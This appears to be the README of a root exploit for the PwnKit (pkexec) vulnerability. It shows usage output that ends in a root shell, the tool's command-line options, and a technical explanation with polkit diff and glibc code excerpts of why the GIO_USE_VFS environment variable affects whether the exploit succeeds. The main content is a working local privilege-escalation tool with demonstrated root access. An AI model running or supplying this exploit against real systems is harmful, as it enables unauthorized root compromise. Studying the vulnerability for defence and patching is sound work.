Root exploit for the PwnKit vulnerability. Check out the original report here.
Use this exploit with an express permission of the target system's owners.
No dependencies needed besides libc. Just run make
.
Running without options will execute the exploit:
[linux@linux ~]$ ./exploit
-----------------------------------------------------------------------------
__\ / __ __ _ __ _ __ | \ / _ ___
/ V |_ --- _)/ \ _)/| ---|_|/ \__)|_| | V |_) _/|_|
\__ |__ /__\_//__ | |\_/__) | | | \/__| |
-----------------------------------------------------------------------------
sh-5.1# whoami
root
sh-5.1#
You can customize the path to pkexec
as well as the "from" charset:
[linux@linux ~]$ ./exploit -h
...
./exploit [-c] [-h] [-f from_charset] [-p /path/to/pkexec]
-----------------------------------------------------------------------------
-c Just teardown - don't exploit
-p <path> Path to pkexec (default: "/usr/bin/pkexec")
-f <from_charset> Custom "from" charset (default: "UTF-8")
-h Display this message
I saw a few people on social media ask why do some exploits fail if the
GIO_USE_VFS=
is not defined? Why do they work with the older versions?
Commt daf3d5c2d15466a267221fcb099c59c870098e03
in polkit is the culprit.
Here's the relevant part of the diff:
--- a/src/programs/pkexec.c
+++ b/src/programs/pkexec.c
@@ -503,6 +503,9 @@ main (int argc, char *argv[])
opt_user = NULL;
local_agent_handle = NULL;
+ /* Disable remote file access from GIO. */
+ setenv ("GIO_USE_VFS", "local", 1);
+
/* check for correct invocation */
if (geteuid () != 0)
{
Versions prior to this commit are exploitable without the need to define the
GIO_USE_VFS
variable. The versions after - are not exploitable unless this variable is defined.
The purpose of the commit is actually a red herring. It's not what the variable
means, it's how its presence affects the program environment. For the truth we must look to libc.
The environment of a process in libc is represented by an array of char *
s,
pointed to by this global variable:
char **environ;
environ
lives on the heap and is occasionally relocated. You might
already know where this is going. Check out this code snippet from
setenv.c:
#if !_LIBC
# define __environ environ
# ifndef HAVE_ENVIRON_DECL
extern char **environ;
# endif
#endif
int
__add_to_environ (const char *name, const char *value, const char *combined,
int replace)
{
char **ep;
// ... skipping
ep = __environ;
size = 0;
if (ep != NULL)
{
for (; *ep != NULL; ++ep)
if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
break;
else
++size;
}
if (ep == NULL || __builtin_expect (*ep == NULL, 1))
{
char **new_environ;
/* We allocated this space; we can extend it. */
new_environ = (char **) realloc (last_environ,
(size + 2) * sizeof (char *));
// ... skipping
last_environ = __environ = new_environ;
}
__add_to_environ()
is called by both setenv(3)
and putenv(3)
to accomplish
what they promise - set an environment variable. If the environment variable in
question is not defined, environ
has to be reallocated to accomodate
a new entry (a pointer to the new environment key=value
pair). If it is
defined, the size of the environ
array has not changed and thus there is no
reason for reallocation. For brevity I've omitted that part of the code - I
encourage you to check it out.
Now let's come back to the exploit. If you've gotten this far, you probably
already know the methodology behind this exploit (if not please check out the
original report).
We are trying to sneak in an environment variable by passing an empty program
arguments (argv
) to pkexec
. When argc
is truly empty (not even a program
name), the environment variables, which are adjacent, clash with the arguments.
We abuse this behavior to force pkexec
to write a canonical path of a
target executable into the environment. However, before we get to this part of the
code this happens:
setenv ("GIO_USE_VFS", "local", 1);
If this variable is not present in the environment environ
will be
reallocated, thus never clashing with argv
. As a result, the out-of-bounds
write will not be affecting the program's environment, causing the
exploit to fail.